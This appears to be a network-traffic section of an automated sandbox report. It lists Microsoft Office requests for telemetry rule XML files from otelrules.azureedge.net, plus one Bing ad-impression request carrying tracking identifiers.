Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Fs7iYLBvUMxlibwIUd7CpTVUCUzcZcjsyHjAv7cDI7R-q9dsLma21TSuz6Ho1K23jlIaZnkOQ6g2LwTMrKGmw_dfyBs-btR_43TAHAjrFVegMwD2UhkZTsJsA4egJJnZPX1IsbZ7IOeg9an4uNua41JKlNrN-hxVZTA9qpfl_clY3dIi%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3De2517ae3b8b81c7260c21db03d1838d4&TIME=20241206T231607Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=087889CDADCE61E13F8C9C80ACAC6065; _EDGE_S=SID=21EA75A697676094397360EB966E61A2; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
